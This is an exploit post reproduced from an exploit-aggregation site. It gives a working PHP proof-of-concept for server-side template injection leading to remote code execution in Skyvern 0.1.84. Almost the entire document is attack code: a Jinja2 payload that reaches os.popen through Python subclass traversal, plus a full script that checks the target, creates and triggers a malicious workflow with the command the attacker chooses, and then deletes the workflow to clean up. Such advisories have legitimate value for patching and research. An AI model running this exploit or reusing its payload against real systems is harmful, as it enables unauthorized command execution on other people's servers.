Share
## https://sploitus.com/exploit?id=PACKETSTORM:215882
=============================================================================================================================================
    | # Title     : Skyvern 0.1.84 Code Execution Vulnerability Analysis                                                                        |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.skyvern.com/                                                                                                    |
    =============================================================================================================================================
    
    [+] Summary : 
                 The vulnerability exists in the workflow creation functionality where user-supplied input 
    			 in the prompt field is processed through Jinja2 templating engine without proper sanitization, allowing attackers to execute arbitrary Python code and ultimately system commands..
    			 
    [+]  POC : 
    
    php poc.php 
    
    <?php
    
    class SkyvernSSTI_RCE {
        
        private $target;
        private $api_key;
        private $workflow_id;
        
        public function __construct($target, $api_key) {
            $this->target = rtrim($target, '/');
            $this->api_key = $api_key;
            $this->workflow_id = null;
        }
        
        private function send_request($method, $endpoint, $data = null) {
            $url = $this->target . $endpoint;
            
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_HTTPHEADER => [
                    'X-API-Key: ' . $this->api_key,
                    'Content-Type: application/json'
                ],
                CURLOPT_CUSTOMREQUEST => $method,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false
            ]);
            
            if ($data !== null) {
                curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
            }
            
            $response = curl_exec($ch);
            $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            $error = curl_error($ch);
            curl_close($ch);
            
            if ($error) {
                throw new Exception("Request failed: " . $error);
            }
            
            return [
                'code' => $http_code,
                'body' => $response
            ];
        }
        
        private function create_workflow_json($payload) {
            return [
                'title' => $this->random_string(8),
                'description' => '',
                'proxy_location' => 'RESIDENTIAL',
                'webhook_callback_url' => '',
                'persist_browser_session' => false,
                'model' => null,
                'totp_verification_url' => null,
                'workflow_definition' => [
                    'parameters' => [],
                    'blocks' => [
                        [
                            'label' => 'block_1',
                            'continue_on_failure' => false,
                            'block_type' => 'task_v2',
                            'prompt' => $this->generate_payload($payload),
                            'url' => '',
                            'max_steps' => 25,
                            'totp_identifier' => null,
                            'totp_verification_url' => null
                        ]
                    ]
                ],
                'is_saved_task' => false
            ];
        }
        
        private function generate_payload($command) {
            return 
                "{% for x in ().__class__.__base__.__subclasses__() %}\n" .
                "  {% if 'warning' in x.__name__ %}\n" .
                "    {{ x()._module.__builtins__['__import__']('os').popen(\"" . 
                addslashes($command) . "\").read() }}\n" .
                "  {% endif %}\n" .
                "{% endfor %}";
        }
        
        private function random_string($length = 8) {
            $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
            $result = '';
            for ($i = 0; $i < $length; $i++) {
                $result .= $characters[rand(0, strlen($characters) - 1)];
            }
            return $result;
        }
        
        public function check() {
            try {
                $response = $this->send_request('GET', '/api/v1/workflows');
                
                if ($response['code'] !== 200) {
                    return "Target is probably not Skyvern or API key is invalid";
                }
                
                $json_response = json_decode($response['body'], true);
                if ($json_response === null) {
                    return "Failed to parse response - target may not be Skyvern";
                }
                
                return "Target appears to be Skyvern and is accessible";
                
            } catch (Exception $e) {
                return "Check failed: " . $e->getMessage();
            }
        }
        
        public function create_workflow($payload) {
            try {
                $workflow_data = $this->create_workflow_json($payload);
                $response = $this->send_request('POST', '/api/v1/workflows', $workflow_data);
                
                if ($response['code'] !== 200) {
                    throw new Exception("Failed to create workflow. HTTP Code: " . $response['code']);
                }
                
                $json_response = json_decode($response['body'], true);
                if (!isset($json_response['workflow_permanent_id'])) {
                    throw new Exception("Workflow ID not found in response");
                }
                
                $this->workflow_id = $json_response['workflow_permanent_id'];
                echo "[+] Workflow created successfully. ID: " . $this->workflow_id . "\n";
                return true;
                
            } catch (Exception $e) {
                echo "[-] Failed to create workflow: " . $e->getMessage() . "\n";
                return false;
            }
        }
        
        public function trigger_workflow() {
            if (!$this->workflow_id) {
                echo "[-] No workflow ID available\n";
                return false;
            }
            
            try {
                $data = ['workflow_id' => $this->workflow_id];
                $response = $this->send_request('POST', "/api/v1/workflows/{$this->workflow_id}/run", $data);
                
                if ($response['code'] !== 200) {
                    throw new Exception("Failed to trigger workflow. HTTP Code: " . $response['code']);
                }
                
                $json_response = json_decode($response['body'], true);
                if (!isset($json_response['workflow_id']) && !isset($json_response['workflow_run_id'])) {
                    throw new Exception("Workflow execution response invalid");
                }
                
                echo "[+] Workflow triggered successfully\n";
                return true;
                
            } catch (Exception $e) {
                echo "[-] Failed to trigger workflow: " . $e->getMessage() . "\n";
                return false;
            }
        }
        
        public function cleanup() {
            if (!$this->workflow_id) {
                return;
            }
            
            try {
                $this->send_request('DELETE', "/api/v1/workflows/{$this->workflow_id}");
                echo "[+] Workflow cleaned up\n";
            } catch (Exception $e) {
                echo "[-] Failed to cleanup workflow: " . $e->getMessage() . "\n";
            }
        }
        
        public function exploit($command) {
            echo "[*] Starting exploitation...\n";
    
            echo "[*] Checking target...\n";
            $check_result = $this->check();
            echo "[*] Check result: " . $check_result . "\n";
            echo "[*] Creating malicious workflow...\n";
            if (!$this->create_workflow($command)) {
                return false;
            }
    
            echo "[*] Triggering workflow execution...\n";
            if (!$this->trigger_workflow()) {
                return false;
            }
            
            echo "[+] Exploitation completed. Command should be executed.\n";
            return true;
        }
    }
    
    if (php_sapi_name() === 'cli') {
        
        if ($argc < 4) {
            echo "Usage: php " . $argv[0] . " <target_url> <api_key> <command>\n";
            echo "Example: php " . $argv[0] . " http://localhost:8000 abc123 \"id\"\n";
            exit(1);
        }
        
        $target = $argv[1];
        $api_key = $argv[2];
        $command = $argv[3];
        
        $exploit = new SkyvernSSTI_RCE($target, $api_key);
        
        try {
            $exploit->exploit($command);
        } catch (Exception $e) {
            echo "[-] Exploitation failed: " . $e->getMessage() . "\n";
        } finally {
            $exploit->cleanup();
        }
    }
    
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================